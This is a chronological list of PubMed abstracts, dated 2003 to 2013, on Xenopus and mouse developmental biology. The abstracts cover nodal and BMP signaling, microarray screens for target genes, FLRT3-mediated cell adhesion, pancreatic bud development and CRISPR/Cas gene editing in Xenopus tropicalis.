Nodal Signaling in Xenopus Gastrulae is Cell-autonomous and Patterned by Beta-catenin Developmental Biology. Jan, 2003 | Pubmed ID: 12490202 The classical three-signal model of amphibian mesoderm induction and more recent modifications together propose that an activin-like signaling activity is uniformly distributed across the vegetal half of the Xenopus blastula and that this activity contributes to mesoderm induction. In support of this, we have previously shown that the activin-response element (DE) of the goosecoid promoter is uniformly activated across the vegetal half of midgastrula-stage embryos. Here, we further examine the nature of this activity by measuring DE activation by endogenous signals over time. We find that the spatiotemporal pattern of DE activation is much more dynamic than was previously appreciated and also conclude that DE(6X)Luc activity reflects endogenous nodal signaling in the embryo. Using both the DE(6X)Luc construct and endogenous Xbra and Xgsc expression as read-outs for nodal activity, and the cleavage-mutant version of Xnr2 (CmXnr2) to regionally suppress endogenous nodal activity, we demonstrate that nodal signals act cell-autonomously in Xenopus gastrulae. Nodal-expressing cells are unable to rescue either reporter gene activation or target gene expression in distant nodal-deficient cells, suggesting that nodals function at short range in this context. Finally, we show that DE activation by endogenous signals occurs in the absence of dorsal beta-catenin-mediated signaling, but that the timing of dorsal initiation is altered. We conclude that nodal signals in Xenopus gastrulae function cell autonomously at short ranges and that the spatiotemporal pattern of this signaling along the dorsoventral axis is regulated by maternal Wnt-like signaling.
Expression Pattern of a Basic Helix-loop-helix Transcription Factor Xhairy2b During Xenopus Laevis Development Development Genes and Evolution. Aug, 2003 | Pubmed ID: 12774230 We report on the temporal and spatial expression pattern of the Xenopus laevis hairy2b ( Xhairy2b) transcription factor. Xhairy2b transcripts are present maternally, and expressed throughout the prospective ectoderm prior to the gastrula stage. During gastrulation, Xhairy2b expression is restricted to the deep layer of the Spemann organizer and three distinct regions in the prospective neuroectoderm, neural plate border, notoplate and anterior neural plate. At later stages, Xhairy2b expression is localized to prechordal plate, presomitic mesoderm, neural tube, neural crest derivatives and several tissue territories of the central nervous system. The analyses of Xhairy2b and several other hairy-related genes suggest potential roles for Xhairy2b in the formation of boundaries in neural tissue territories.
Tob Proteins Enhance Inhibitory Smad-receptor Interactions to Repress BMP Signaling Mechanisms of Development. May, 2003 | Pubmed ID: 12782279 Tob inhibits bone morphogenetic protein (BMP) signaling by interacting with receptor-regulated Smads in osteoblasts. Here we provide evidence that Tob also interacts with the inhibitory Smads 6 and 7. A yeast two-hybrid screen identified Smad6 as a protein interacting with Tob. Tob co-localizes with Smad6 at the plasma membrane and enhances the interaction between Smad6 and activated BMP type I receptors. Furthermore, we have isolated Xenopus Tob2, and show that it cooperates with Smad6 in inducing secondary axes when expressed in early Xenopus embryos. Finally, Tob and Tob2 cooperate with Smad6 to inhibit endogenous BMP signaling in Xenopus embryonic explants and in cultured mammalian cells. Our results provide both in vitro and in vivo evidence that Tob inhibits endogenous BMP signaling by facilitating inhibitory Smad functions.
Twisted Gastrulation Loss-of-function Analyses Support Its Role As a BMP Inhibitor During Early Xenopus Embryogenesis Development (Cambridge, England). Oct, 2003 | Pubmed ID: 12952901 BMP signals play important roles in the regulation of diverse events in development and in the adult. In amniotes, like the amphibian Xenopus laevis, BMPs promote ventral specification, while chordin and other BMP inhibitors expressed dorsally in the Spemann's organizer play roles in establishment and/or maintenance of this region as dorsal endomesoderm. The activities of chordin are in turn regulated by the secreted proteolytic enzymes BMP1 and Xolloid. Recently, we and others have identified the protein twisted gastrulation (TSG) as a soluble BMP modulator that functions by modifying chordin activity. Overexpression and genetic analyses in Drosophila, Xenopus and zebrafish together with in vitro biochemical studies suggest that TSG might act as a BMP antagonist; but there is also evidence that TSG may promote BMP signaling. Here we report examination of the in vivo function of TSG in early Xenopus development using a loss-of-function approach. We show that reducing TSG expression using antisense TSG morpholino oligonucleotides (MOs) results in moderate head defects. These defects can be rescued both by a TSG that cannot be inhibited by the MO, and by the BMP antagonists chordin and noggin. Furthermore, while neither the onset of gastrulation nor the expression of marker genes are affected in early gastrulae, dorsal marker gene expression is reduced at the expense of expanded ventral marker gene expression beginning at mid to late gastrula stage. TSG-MO and Chd-MOs also cooperate to strongly repress head formation. Finally, we note that the loss of TSG function results in a shift in tissue responsiveness to the BMP inhibitory function of chordin in both animal caps and the ventral marginal zone, a result that implies that the activity of TSG may be required for chordin to efficiently inhibit BMPs in these developmental contexts. These data, taken together with the biochemistry and overexpression studies, argue that TSG plays an important role in regulating the potency of chordin's BMP inhibitory activity and TSG and chordin act together to regulate the extent of dorsoanterior development of early frog embryos.
Cloning and Expression of an SH3 Domain-containing Protein (Xchef-1), a Novel Downstream Target of Activin/nodal Signaling Gene Expression Patterns : GEP. Oct, 2004 | Pubmed ID: 15465495 The activity of the activin/nodal signaling cascade is essential for the proper specification of germ layers during gastrulation. Many of the components of this signaling pathway have been identified, but relatively few downstream targets have been discovered. Using cDNA microarrays, we have identified a novel SH3-domain-containing gene we have named Xchef-1 that is upregulated in response to activin/nodal signaling. Xchef-1 is a direct downstream target of activin and is expressed in the marginal zones of gastrulating Xenopus embryos in a dynamic pattern reminiscent of nodal expression. At neurula stages, Xchef-1 is expressed in neural crest of the head and trunk as well as in the anterior neural plate. These domains of expression are then restricted at tailbud stages to the branchial arches, and the region of the future gall bladder.
Identification of Neural Genes Using Xenopus DNA Microarrays Developmental Dynamics : an Official Publication of the American Association of Anatomists. Feb, 2005 | Pubmed ID: 15614765 To isolate novel genes regulating neural induction, we used a DNA microarray approach. As neural induction is thought to occur by means of the inhibition of bone morphogenetic protein (BMP) signaling, BMP signaling was inhibited in ectodermal cells by overexpression of a dominant-negative receptor. RNAs were isolated from control animal cap explants and from dominant-negative BMP receptor expressing animal caps and subjected to a microarray experiment using newly generated high-density Xenopus DNA microarray chips representing over 17,000 unigenes. We have identified 77 genes that are induced in animal caps after inhibition of BMP signaling, and all of these genes were subjected to whole-mount in situ hybridization analysis. Thirty-two genes showed specific expression in neural tissues. Of the 32, 14 genes have never been linked to neural induction. Two genes that are highly induced by BMP inhibition are inhibitors of Wnt signaling, suggesting that a key step in neural induction is to produce Wnt antagonists to promote anterior neural plate development. Our current analysis also proves that a microarray approach is useful in identifying novel candidate factors involved in neural induction and patterning.
A Xenopus DNA Microarray Approach to Identify Novel Direct BMP Target Genes Involved in Early Embryonic Development Developmental Dynamics : an Official Publication of the American Association of Anatomists. Feb, 2005 | Pubmed ID: 15614776 Bone morphogenetic proteins (BMPs), a subgroup of the transforming growth factor-beta (TGF-beta) superfamily, were originally isolated from bone on the basis of their ability to induce ectopic bone development. Although BMPs are involved in a wide range of developmental and physiological functions, very few vertebrate target genes in this pathway have been identified. To identify target genes regulated by the BMP growth factor family in Xenopus, large-scale microarray analyses were conducted to discover genes directly activated by this factor in dissociated animal cap tissues treated with a combination of the protein synthesis inhibitor cycloheximide and BMP2. Consequent expression patterns and behaviors of the most highly induced genes were analyzed by in situ and reverse transcriptase-polymerase chain reaction analyses. Here, we describe two sets of the most highly induced direct BMP target genes identified using microarrays prepared from two different stages of early Xenopus development. A wide variety of genes are induced by BMP2, ranging from cell cycle controllers, enzymes, signal transduction cascade components, and components of the blood and vascular system. The finding reinforces the notion that BMP signals play important roles in a variety of biological processes.
Global Analysis of RAR-responsive Genes in the Xenopus Neurula Using CDNA Microarrays Developmental Dynamics : an Official Publication of the American Association of Anatomists. Feb, 2005 | Pubmed ID: 15614783 Retinoid signaling is important for patterning the vertebrate hindbrain and midaxial regions. We recently showed that signaling through retinoic acid receptors (RARs) is essential for anteroposterior patterning along the entire body axis. To further investigate the mechanisms through which RARs act, we used microarray analysis to investigate the effects of modulating RAR activity on target gene expression. We identified 334 up-regulated genes (92% of which were validated), including known RA-responsive genes, known genes that have never been proposed as RA targets and many hypothetical and unidentified genes (n = 166). Sixty-seven validated down-regulated genes were identified, including known RA-responsive genes and anterior marker genes. The expression patterns of selected up-regulated genes (n = 45) were examined at neurula stages using whole-mount in situ hybridization. We found that most of these genes were expressed in the neural tube and many were expressed in anterior tissues such as neural crest, brain, eye anlagen, and cement gland. Some were expressed in tissues such as notochord, somites, pronephros, and blood islands, where retinoic acid (RA) plays established roles in organogenesis. Members of this set of newly identified RAR target genes are likely to play important roles in neural patterning and organogenesis under the control of RAR signaling pathways, and their further characterization will expand our understanding of RA signaling during development.
Microarray-based Identification of VegT Targets in Xenopus Mechanisms of Development. Mar, 2005 | Pubmed ID: 15763211 The Xenopus T box family member VegT is expressed maternally in the vegetal hemisphere of the embryo. Mis-expression of VegT in prospective ectodermal tissue causes ectopic activation of mesodermal and endodermal markers, and ablation of VegT transcripts prevents proper formation of the mesendoderm, with the entire embryo developing as epidermis. These observations define VegT as a key initiator of mesendodermal development in the Xenopus embryo, and in an effort to understand how it exerts its effects we have used microarray analysis to compare gene expression in control animal caps with that in ectodermal tissue expressing an activated form of VegT. This procedure allowed the identification of 99 potential VegT targets, and we went on to study the expression patterns of these genes and then to ask, for those that are expressed in mesoderm or endoderm, which are direct targets of VegT. The putative regulatory regions of the resulting 14 genes were examined for T domain binding sites, and we also asked whether their expression is down-regulated in embryos in which VegT RNA is ablated. Finally, the functions of these genes were assayed by both over-expression and by use of antisense morpholino oligonucleotides. Our results provide new insights into the function of VegT during early Xenopus development.
Xenopus As a Model System to Study Transcriptional Regulatory Networks Proceedings of the National Academy of Sciences of the United States of America. Apr, 2005 | Pubmed ID: 15795378 Development is controlled by a complex series of events requiring sequential gene activation. Understanding the logic of gene networks during development is necessary for a complete understanding of how genes contribute to phenotype. Pioneering work initiated in the sea urchin and Drosophila has demonstrated that reasonable transcriptional regulatory network diagrams representing early development in multicellular animals can be generated through use of appropriate genomic, genetic, and biochemical tools. Establishment of similar regulatory network diagrams for vertebrate development is a necessary step. The amphibian Xenopus has long been used as a model for vertebrate early development and has contributed greatly to the elucidation of gene regulation. Because the best and most extensively studied transcriptional regulatory network in Xenopus is that underlying the formation and function of Spemann's organizer, we describe the current status of our understanding of this gene regulatory network and its relationship to mesodermal patterning. Seventy-four transcription factors currently known to be expressed in the mesoendoderm of Xenopus gastrula were characterized according to their modes of action, DNA binding consensus sequences, and target genes. Among them, nineteen transcription factors were characterized sufficiently in detail, allowing us to generate a gene regulatory network diagram. Additionally, we discuss recent amphibian work using a combined DNA microarray and bioinformatics approach that promises to accelerate regulatory network studies.
Phylogenetic Footprinting and Genome Scanning Identify Vertebrate BMP Response Elements and New Target Genes Developmental Biology. May, 2005 | Pubmed ID: 15893974 The complex gene regulatory networks governed by growth factor signaling are still poorly understood. In order to accelerate the rate of progress in uncovering these networks, we explored the usefulness of interspecies sequence comparison (phylogenetic footprinting) to identify conserved growth factor response elements. The promoter regions of two direct target genes of Bone Morphogenetic Protein (BMP) signaling in Xenopus, Xvent2 and XId3, were compared with the corresponding human and/or mouse counterparts to identify conserved sequences. A comparison between the Xenopus and human Vent2 promoter sequences revealed a highly conserved 21 bp sequence that overlaps the previously reported Xvent2 BMP response element (BRE). Reporter gene assays using Xenopus animal pole ectodermal explants (animal caps) revealed that this conserved 21 bp BRE is both necessary and sufficient for BMP responsiveness. We combine the same phylogenetic footprinting approach with luciferase assays to identify a highly conserved 49 bp BMP responsive region in the Xenopus Id3 promoter. GFP reporters containing multimers of either the Xvent2 or XId3 BREs appear to recapitulate endogenous BMP signaling activity in transgenic Xenopus embryos. Comparison of the Xvent2 and the XId3 BRE revealed core sequence features that are both necessary and sufficient for BMP responsiveness: a Smad binding element (SBE) and a GC-rich element resembling an OAZ binding site. Based on these findings, we have implemented genome scanning to identify over 100 additional putative target genes containing 2 or more BRE-like sequences which are conserved between human and mouse. RT-PCR and in situ analyses revealed that this in silico approach can effectively be used to identify potential BMP target genes.
Xenopus Hairy2b Specifies Anterior Prechordal Mesoderm Identity Within Spemann's Organizer Developmental Dynamics : an Official Publication of the American Association of Anatomists. Sep, 2005 | Pubmed ID: 16059909 Spemann's organizer is a region of the gastrula stage embryo that contains future anterior endodermal and dorsal mesodermal tissues. During gastrulation, the dorsal mesoderm is divided into the prechordal mesoderm and the chordamesoderm. However, little is known regarding how this division is established. We analyzed the role of the anterior prechordal mesoderm-specific gene Xhairy2b in the regionalization of the organizer. We found that mesoderm-inducing transforming growth factor-beta signaling induced Xhairy2b expression. On the other hand, the ectopic expression of Xhairy2b induced the expression of organizer-specific genes and resulted in the formation of a secondary dorsal axis lacking head and notochord structures. We also showed that Xhairy2b down-regulated the expression of ventral mesodermal, anterior endodermal, and chordamesodermal genes. In Xhairy2b-depleted embryos, defects in the specification of anterior prechordal mesoderm identity were observed as the border between the prechordal mesoderm and the chordamesoderm was anteriorly shifted. These results suggest that Xhairy2b establishes the identity of the anterior prechordal mesoderm within Spemann's organizer by inhibiting the formation of neighboring tissues.
Regulatory Targets for Transcription Factor AP2 in Xenopus Embryos Development, Growth & Differentiation. Aug, 2005 | Pubmed ID: 16109038 The transcription factor AP2 (TFAP2) has an important role in regulating gene expression in both epidermis and neural crest cells. In order to further characterize these functions we have used a hormone inducible TFAP2alpha fusion protein in a Xenopus animal cap assay to identify downstream targets of this factor. The most common pattern comprised genes predominantly expressed in the epidermis. A second group was expressed at high levels in the neural crest, but all of these were also expressed in the epidermis as well as in other tissues in which TFAP2alpha has not been detected, suggesting modular control involving both TFAP2-dependent and TFAP2-independent components. In addition, a few strongly induced genes did not overlap at all in expression pattern with that of TFAP2alpha in the early embryo, and were also activated precociously in the experimentally manipulated ectoderm, and thus likely represent inappropriate regulatory interactions. A final group was identified that were repressed by TFAP2alpha and were expressed in the neural plate. These results provide further support for the importance of TFAP2alpha in ectoderm development, and also highlight the molecular linkage between the epidermis and neural crest in the Xenopus embryo.
Two Modes of Action by Which Xenopus Hairy2b Establishes Tissue Demarcation in the Spemann-Mangold Organizer The International Journal of Developmental Biology. 2006 | Pubmed ID: 16586347 The Hairy and Enhancer-of-Split (HES) family of transcriptional repressors plays important roles in pattern formation during development throughout the animal kingdom. Generally, HES proteins repress the expression of genes specific for neighboring tissues to maintain the nature of cells expressing HES proteins, resulting in pattern formation. Xhairy2b, a Xenopus HES, establishes the prospective anterior prechordal mesoderm identity in the Spemann-Mangold organizer by both inducing specific genes and repressing the genes specific for neighboring tissues. Here we report that Xhairy2b has two modes of action, each of which corresponds to inductive and repressive functions. We show that the inductive function is independent of direct transcriptional regulation and is exhibited by the C-terminal WRPW tetrapeptide motif alone, although it induces the expression of a wide variety of the organizer genes that Xhairy2b represses. The transcriptional repression by Xhairy2b is responsible for only the repressive function. We propose that the activity of the WRPW motif intrinsically induces the expression of genes specific for the organizer in a rather non-specific manner to ensure the organizer environment. Then, the transcriptional repression selectively down-regulates the expression of some of these genes, resulting in the regionalization of the axial mesoderm. Our study provides new insight into how a region of the vertebrate embryo is demarcated by one dual-functional transcription factor in the early stages of development.
Negative Regulation of Hedgehog Signaling by the Cholesterogenic Enzyme 7-dehydrocholesterol Reductase Development (Cambridge, England). Jun, 2006 | Pubmed ID: 16687448 Cholesterol regulates Hedgehog (Hh) signaling during early vertebrate development. Smith-Lemli-Opitz syndrome (SLOS) is caused by defects in 7-dehydrocholesterol reductase (DHCR7), an enzyme catalyzing the final step of cholesterol biosynthesis. Many developmental malformations attributed to SLOS occur in tissues and organs where Hh signaling is required for development, but the precise role of DHCR7 deficiency in this disease remains murky. We report that DHCR7 and Sonic Hedgehog (Shh) are co-expressed during midline development in Xenopus embryos. DHCR7 has previously been implicated to function as a positive regulator of Hh signaling that acts to regulate the cholesterol adduction of Hh ligand or to affect Hh signaling in the responding cell. We present gain- and loss-of-function analyses suggesting that DHCR7 functions as a negative regulator of Hh signaling at the level or downstream of Smoothened (Smo) and affects intracellular Hh signaling. Our analysis also raises the possibility that the human condition SLOS is caused not only by disruption of the enzymatic role of DHCR7 as a reductase in cholesterol biosynthesis, but may also involve defects in DHCR7 resulting in derepression of Shh signaling.
The Xfeb Gene is Directly Upregulated by Zic1 During Early Neural Development Developmental Dynamics : an Official Publication of the American Association of Anatomists. Oct, 2006 | Pubmed ID: 16871635 The transcription factor Zic1 plays important roles in patterning the neural plate in early vertebrate development. However, few genes that are regulated by Zic1 are known. We have identified a new direct downstream target gene of Zic1 that we have named Xfeb. Xfeb is a member of the pathogenesis-related (PR) protein superfamily and contains five tandem SCP domains. The sequence of Xfeb suggests that it may possess serine protease activity. Xfeb is expressed in the presumptive hindbrain region during neurula stages and in somite tissues later in development. Xfeb represses the hindbrain gene hoxB1 and the anterior neural gene otx2, suggesting that Xfeb is involved in regionalizing the neural plate, possibly by ensuring a posterior expression limit for otx2.
Grainyhead-like 3, a Transcription Factor Identified in a Microarray Screen, Promotes the Specification of the Superficial Layer of the Embryonic Epidermis Mechanisms of Development. Sep, 2006 | Pubmed ID: 16916602 The Xenopus ectoderm consists of two populations of cells, superficial polarised epithelial cells and deep, non-epithelial cells. These two cell types differ in their developmental fate. In the neural ectoderm, primary neurons are derived only from the deep cells. In the epidermal ectoderm, superficial cells express high levels of differentiation markers, while most of the deep cells do not differentiate until later when they produce the stratified adult epidermis. However, few molecular differences are known between the deep and superficial cells. Here, we have undertaken a systematic approach to identify genes that show layer-restricted expression by microarray analysis of deep and superficial cells at the gastrula stage, followed by wholemount in situ hybridisation. We have identified 32 differentially expressed genes, of which 26 show higher expression in the superficial layer and 6 in the deep layer and describe their expression at the gastrula and neurula stage. One of the identified genes is the transcription factor Grhl3, which we found to be expressed in the superficial layer of the gastrula ectoderm and the neurula epidermis. By using markers identified in this work, we show that Grlh3 promotes superficial gene expression in the deep layer of the epidermis. Concomitantly, deep layer specific genes are switched off, showing that Grlh3 can promote deep cells to take on a superficial cell identity in the embryonic epidermis.
Schnurri Transcription Factors from Drosophila and Vertebrates Can Mediate Bmp Signaling Through a Phylogenetically Conserved Mechanism Development (Cambridge, England). Oct, 2006 | Pubmed ID: 17008448 Bone Morphogenetic Proteins (Bmps) are secreted growth factors that play crucial roles in animal development across the phylogenetic spectrum. Bmp signaling results in the phosphorylation and nuclear translocation of Smads, downstream signal transducers that bind DNA. In Drosophila, the zinc finger protein Schnurri (Shn) plays a key role in signaling by the Bmp2/Bmp4 homolog Decapentaplegic (Dpp), by forming a Shn/Smad repression complex on defined promoter elements in the brinker (brk) gene. Brk is a transcriptional repressor that downregulates Dpp target genes. Thus, brk inhibition by Shn results in the upregulation of Dpp-responsive genes. We present evidence that vertebrate Shn homologs can also mediate Bmp responsiveness through a mechanism similar to Drosophila Shn. We find that a Bmp response element (BRE) from the Xenopus Vent2 promoter drives Dpp-dependent expression in Drosophila. However, in sharp contrast to its activating role in vertebrates, the frog BRE mediates repression in Drosophila. Remarkably, despite these opposite transcriptional polarities, sequence changes that abolish cis-element activity in Drosophila also affect BRE function in Xenopus. These similar cis requirements reflect conservation of trans-acting factors, as human Shn1 (hShn1; HIVEP1) can interact with Smad1/Smad4 and assemble an hShn1/Smad complex on the BRE. Furthermore, both Shn and hShn1 activate the BRE in Xenopus embryos, and both repress brk and rescue embryonic patterning defects in shn mutants. Our results suggest that vertebrate Shn proteins function in Bmp signal transduction, and that Shn proteins recruit coactivators and co-repressors in a context-dependent manner, rather than acting as dedicated activators or repressors.
Xenopus CDNA Microarray Identification of Genes with Endodermal Organ Expression Developmental Dynamics : an Official Publication of the American Association of Anatomists. Jun, 2007 | Pubmed ID: 17474120 The endoderm is classically defined as the innermost layer of three Metazoan germ layers. During organogenesis, the endoderm gives rise to the digestive and respiratory tracts as well as associated organs such as the liver, pancreas, and lung. At present, however, how the endoderm forms the variety of cell types of digestive and respiratory tracts as well as the budding organs is not well understood. In order to investigate the molecular basis and mechanism of organogenesis and to identify the endodermal organ-related marker genes, we carried out microarray analysis using Xenopus cDNA chips. To achieve this goal, we isolated the Xenopus gut endoderm from three different stages of Xenopus organogenesis, and separated each stage of gut endoderm into anterior and posterior regions. Competitive hybridization of cDNA between the anterior and posterior endoderm regions, to screen genes that specifically expressed in the major organs, revealed 915 candidates. We then selected 104 clones for in situ hybridization analysis. Here, we report the identification and expression patterns of the 104 Xenopus endodermal genes, which would serve as useful markers for studying endodermal organ development.
TGF-beta Signaling-mediated Morphogenesis: Modulation of Cell Adhesion Via Cadherin Endocytosis Genes & Development. Jul, 2007 | Pubmed ID: 17639085 The molecular mechanisms governing the cell behaviors underlying morphogenesis remain a major focus of research in both developmental biology and cancer biology. TGF-beta ligands control cell fate specification via Smad-mediated signaling. However, their ability to guide cellular morphogenesis in a variety of biological contexts is poorly understood. We report on the discovery of a novel TGF-beta signaling-mediated cellular morphogenesis occurring during vertebrate gastrulation. Activin/nodal members of the TGF-beta superfamily induce the expression of two genes regulating cell adhesion during gastrulation: Fibronectin Leucine-rich Repeat Transmembrane 3 (FLRT3), a type I transmembrane protein containing extracellular leucine-rich repeats, and the small GTPase Rnd1. FLRT3 and Rnd1 interact physically and modulate cell adhesion during embryogenesis by controlling cell surface levels of cadherin through a dynamin-dependent endocytosis pathway. Our model suggests that cell adhesion can be dynamically regulated by sequestering cadherin through internalization, and subsequent redeploying internalized cadherin to the cell surface as needed. As numerous studies have linked aberrant expression of small GTPases, adhesion molecules such as cadherins, and TGF-beta signaling to oncogenesis and metastasis, it is tempting to speculate that this FLRT3/Rnd1/cadherin pathway might also control cell behavior and morphogenesis in adult tissue homeostasis.
Ventral Closure, Headfold Fusion and Definitive Endoderm Migration Defects in Mouse Embryos Lacking the Fibronectin Leucine-rich Transmembrane Protein FLRT3 Developmental Biology. Jun, 2008 | Pubmed ID: 18448090 The three fibronectin leucine-rich repeat transmembrane (FLRT) proteins contain 10 leucine-rich repeats (LRR), a type III fibronectin (FN) domain, followed by the transmembrane region, and a short cytoplasmic tail. XFLRT3, a Nodal/TGFbeta target, regulates cell adhesion and modulates FGF signalling during Xenopus gastrulation. The present study describes the onset and pattern of FLRT1-3 expression in the early mouse embryo. FLRT3 expression is activated in the anterior visceral endoderm (AVE), and during gastrulation appears in anterior streak derivatives namely the node, notochord and the emerging definitive endoderm. To explore FLRT3 function we generated a null allele via gene targeting. Early Nodal activities required for anterior-posterior (A-P) patterning, primitive streak formation and left-right (L-R) axis determination were unperturbed. However, FLRT3 mutant embryos display defects in headfold fusion, definitive endoderm migration and a failure of the lateral edges of the ventral body wall to fuse, leading to cardia bifida. Surprisingly, the mutation has no effect on FGF signalling. Collectively these experiments demonstrate that FLRT3 plays a key role in controlling cell adhesion and tissue morphogenesis in the developing mouse embryo.
Identification of Embryonic Pancreatic Genes Using Xenopus DNA Microarrays Developmental Dynamics : an Official Publication of the American Association of Anatomists. Jun, 2009 | Pubmed ID: 19191222 The pancreas is both an exocrine and endocrine endodermal organ involved in digestion and glucose homeostasis. During embryogenesis, the anlagen of the pancreas arise from dorsal and ventral evaginations of the foregut that later fuse to form a single organ. To better understand the molecular genetics of early pancreas development, we sought to isolate markers that are uniquely expressed in this tissue. Microarray analysis was performed comparing dissected pancreatic buds, liver buds, and the stomach region of tadpole stage Xenopus embryos. A total of 912 genes were found to be differentially expressed between these organs during early stages of organogenesis. K-means clustering analysis predicted 120 of these genes to be specifically enriched in the pancreas. Of these, we report on the novel expression patterns of 24 genes. Our analyses implicate the involvement of previously unsuspected signaling pathways during early pancreas development. Developmental Dynamics 238:1455-1466, 2009. (c) 2009 Wiley-Liss, Inc.
The Tetraspanin Tm4sf3 is Localized to the Ventral Pancreas and Regulates Fusion of the Dorsal and Ventral Pancreatic Buds Development (Cambridge, England). Jun, 2009 | Pubmed ID: 19403659 During embryogenesis, the pancreas develops from separate dorsal and ventral buds, which fuse to form the mature pancreas. Little is known about the functional differences between these two buds or the relative contribution of cells derived from each region to the pancreas after fusion. To follow the fate of dorsal or ventral bud derived cells in the pancreas after fusion, we produced chimeric Elas-GFP transgenic/wild-type embryos in which either dorsal or ventral pancreatic bud cells expressed GFP. We found that ventral pancreatic cells migrate extensively into the dorsal pancreas after fusion, whereas the converse does not occur. Moreover, we found that annular pancreatic tissue is composed exclusively of ventral pancreas-derived cells. To identify ventral pancreas-specific genes that may play a role in pancreatic bud fusion, we isolated individual dorsal and ventral pancreatic buds, prior to fusion, from NF38/39 Xenopus laevis tadpoles and compared their gene expression profiles (NF refers to the specific stage of Xenopus development). As a result of this screen, we have identified several new ventral pancreas-specific genes, all of which are expressed in the same location within the ventral pancreas at the junction where the two ventral pancreatic buds fuse. Morpholino-mediated knockdown of one of these ventral-specific genes, transmembrane 4 superfamily member 3 (tm4sf3), inhibited dorsal-ventral pancreatic bud fusion, as well as acinar cell differentiation. Conversely, overexpression of tm4sf3 promoted development of annular pancreas. Our results are the first to define molecular and behavioral differences between the dorsal and ventral pancreas, and suggest an unexpected role for the ventral pancreas in pancreatic bud fusion.
Finding Partners: How BMPs Select Their Targets Developmental Dynamics : an Official Publication of the American Association of Anatomists. Jun, 2009 | Pubmed ID: 19441058 The bone morphogenetic protein (BMP) signaling pathway is a conserved and evolutionarily ancient regulatory module affecting a large variety of cellular behaviors. The evolutionary flexibility in using BMP responses presumably arose by co-option of a canonical BMP signaling cascade to regulate the transcription of diverse batteries of target genes. This begs the question of how seemingly interchangeable BMP signaling components elicit widely different outputs in different cell types, an important issue in the context of understanding how BMP signaling integrates with gene regulatory networks to control development. Because a molecular understanding of how BMP signaling activates different batteries of target genes is an essential prerequisite to comprehending the roles of BMPs in regulating cellular responses, here we review the current knowledge of how BMP-regulated target genes are selected by the signal transduction machinery. We highlight recent studies suggesting the evolutionary conservation of BMP target gene regulation signaling by Schnurri family zinc finger proteins. Developmental Dynamics 238:1321-1331, 2009. (c) 2009 Wiley-Liss, Inc.
Unc5B Interacts with FLRT3 and Rnd1 to Modulate Cell Adhesion in Xenopus Embryos PloS One. 2009 | Pubmed ID: 19492039 The FLRT family of transmembrane proteins has been implicated in the regulation of FGF signalling, neurite outgrowth, homotypic cell sorting and cadherin-mediated adhesion. In an expression screen we identified the Netrin receptors Unc5B and Unc5D as high-affinity FLRT3 interactors. Upon overexpression, Unc5B phenocopies FLRT3 and both proteins synergize in inducing cell deadhesion in Xenopus embryos. Morpholino knock-downs of Unc5B and FLRT3 synergistically affect Xenopus development and induce morphogenetic defects. The small GTPase Rnd1, which transmits FLRT3 deadhesion activity, physically and functionally interacts with Unc5B, and mediates its effect on cell adhesion. The results suggest that FLRT3, Unc5B and Rnd1 proteins interact to modulate cell adhesion in early Xenopus development.
Opposing Nodal/Vg1 and BMP Signals Mediate Axial Patterning in Embryos of the Basal Chordate Amphioxus Developmental Biology. Aug, 2010 | Pubmed ID: 20488174 The basal chordate amphioxus resembles vertebrates in having a dorsal, hollow nerve cord, a notochord and somites. However, it lacks extensive gene duplications, and its embryos are small and gastrulate by simple invagination. Here we demonstrate that Nodal/Vg1 signaling acts from early cleavage through the gastrula stage to specify and maintain dorsal/anterior development while, starting at the early gastrula stage, BMP signaling promotes ventral/posterior identity. Knockdown and gain-of-function experiments show that these pathways act in opposition to one another. Signaling by these pathways is modulated by dorsally and/or anteriorly expressed genes including Chordin, Cerberus, and Blimp1. Overexpression and/or reporter assays in Xenopus demonstrate that the functions of these proteins are conserved between amphioxus and vertebrates. Thus, a fundamental genetic mechanism for axial patterning involving opposing Nodal and BMP signaling is present in amphioxus and probably also in the common ancestor of amphioxus and vertebrates or even earlier in deuterostome evolution.
Bmp Indicator Mice Reveal Dynamic Regulation of Transcriptional Response PloS One. 2012 | Pubmed ID: 22984405 Cellular responses to Bmp ligands are regulated at multiple levels, both extracellularly and intracellularly. Therefore, the presence of these growth factors is not an accurate indicator of Bmp signaling activity. While a common approach to detect Bmp signaling activity is to determine the presence of phosphorylated forms of Smad1, 5 and 8 by immunostaining, this approach is time consuming and not quantitative. In order to provide a simpler readout system to examine the presence of Bmp signaling in developing animals, we developed BRE-gal mouse embryonic stem cells and a transgenic mouse line that specifically respond to Bmp ligand stimulation. Our reporter identifies specific transcriptional responses that are mediated by Smad1 and Smad4 with the Schnurri transcription factor complex binding to a conserved Bmp-Responsive Element (BRE), originally identified among Drosophila, Xenopus and human Bmp targets. Our BRE-gal mES cells specifically respond to Bmp ligands at concentrations as low as 5 ng/ml; and BRE-gal reporter mice, derived from the BRE-gal mES cells, show dynamic activity in many cellular sites, including extraembryonic structures and mammary glands, thereby making this a useful scientific tool.
Enhancers Wiley Interdisciplinary Reviews. Developmental Biology. Jul-Aug, 2012 | Pubmed ID: 23801531 Transcription of eukaryotic genes is an exceedingly sophisticated and complicated process, orchestrated by layers of control mechanisms involving a myriad of transcription factors and DNA control sequences, with both groups subject to multiple modifications. The availability of various recent genomic approaches has provided previously unforeseen opportunities to examine the cis-regulatory landscape of the entire genome, resulting in the identification of a potentially overwhelming number of enhancers and novel enhancer functions. In this review, we focus on the activities of enhancers in metazoans and discuss how they serve to regulate gene expression during early development.
Biallelic Genome Modification in F(0) Xenopus Tropicalis Embryos Using the CRISPR/Cas System Genesis (New York, N.Y. : 2000). Dec, 2013 | Pubmed ID: 24123579 Gene inactivation is an important tool for correlation of phenotypic and genomic data, allowing researchers to infer normal gene function based on the phenotype when the gene is impaired. New and better approaches are needed to overcome the shortfalls of existing methods for any significant acceleration of scientific progress. We have adapted the CRISPR/Cas system for use in Xenopus tropicalis and report on the efficient creation of mutations in the gene encoding the enzyme tyrosinase, which is responsible for oculocutaneous albinism. Biallelic mutation of this gene was detected in the F0 generation, suggesting targeting efficiencies similar to that of TALENs. We also find that off-target mutagenesis seems to be negligible, and therefore, CRISPR/Cas may be a useful system for creating genome modifications in this important model organism.
